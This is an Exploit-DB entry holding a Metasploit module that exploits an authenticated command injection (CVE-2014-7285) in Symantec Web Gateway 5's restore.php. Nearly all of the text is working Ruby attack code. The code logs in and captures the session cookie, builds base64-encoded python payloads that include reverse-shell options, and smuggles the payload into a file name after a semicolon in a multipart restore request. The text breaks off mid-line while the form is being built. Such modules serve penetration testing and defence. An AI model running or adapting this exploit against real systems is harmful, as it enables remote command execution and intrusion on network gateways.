Exploit-DB #36263
Description: Symantec Web Gateway 5 - 'restore.php' (Authenticated) Command Injection (Metasploit)
Type: remote
Platform: linux
Date: 2015-03-04
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection",
      'Description'    => %q{
          This module exploits a command injection vulnerability found in Symantec Web
        Gateway's setting restoration feature. The filename portion can be used to inject
        system commands into a syscall function, and gain control under the context of
        HTTP service.

        For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user.
        However, for version 5.2.1, you must be an administrator.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Egidio Romano', # Original discovery & assist of MSF module
          'sinn3r'
        ],
      'References'     =>
        [
          [ 'CVE', '2014-7285' ],
          [ 'OSVDB', '116009' ],
          [ 'BID', '71620' ],
          [ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ],
          [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00']
        ],
      'Payload'        =>
        {
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic python'
            }
        },
      'DefaultOptions' => {
        'RPORT'      => 443,
        'SSL'        => true,
        'SSLVersion' => 'TLS1'
      },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Symantec Web Gateway 5', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014)
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password for the username'])
      ], self.class)
  end

  def protocol
    ssl ? 'https' : 'http'
  end

  def check
    uri = target_uri.path
    res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')})

    if res && res.body.include?('Symantec Web Gateway')
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def get_sid
    sid = ''

    uri = target_uri.path
    res = send_request_cgi({
      'uri'    => normalize_uri(uri, 'spywall/login.php'),
      'method' => 'GET',
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID')
    end

    cookies = res.get_cookies
    sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''

    sid
  end

  def login(sid)
    uri = target_uri.path
    res = send_request_cgi({
      'uri'    => normalize_uri(uri, 'spywall/login.php'),
      'method' => 'POST',
      'cookie' => sid,
      'headers' => {
        'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}"
      },
      'vars_post' => {
        'USERNAME' => datastore['USERNAME'],
        'PASSWORD' => datastore['PASSWORD'],
        'loginBtn' => 'Login'
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while attempting to login')
    end

    cookies = res.get_cookies
    sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''

    if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank?
      # Successful login
      return sid
    else
      # Failed login
      fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
    end
  end

  def build_payload
    # At of today (Feb 27 2015), there are only three payloads this module will support:
    # * cmd/unix/generic
    # * cmd/unix/reverse_python
    # * cmd/unix/reverse_python_ssl
    p = payload.encoded

    case datastore['PAYLOAD']
    when /cmd\/unix\/generic/
      # Filter that one out, Mr. basename()
      p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))")
      p = "python -c \"exec('#{p}'.decode('base64'))\""
    else
      p = p.gsub(/python -c "exec/, 'python -c \\"exec')
      p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"")
    end

    p
  end

  def build_mime
    p = build_payload

    data = Rex::MIME::Message.new
    data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"')
    data.add_part('maintenance', nil, nil, 'form-data; name="configuration"')
    data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""')
    data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"')
    data.add_part('', nil, nil, 'form-data; name="restore"')
    data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"")
    data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"')
    data.add_part('0', nil, nil, 'form-data; name="event_horizon"')
    data.add_part('0', nil, nil, 'form-data; name="max_events"')
    data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"')
    data.add_part('', nil, nil, 'form-data; name="testaddress"')
    data.add_part('', nil, nil, 'form-data; name="pingaddress"')
    data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"')
    data.add_part('', nil,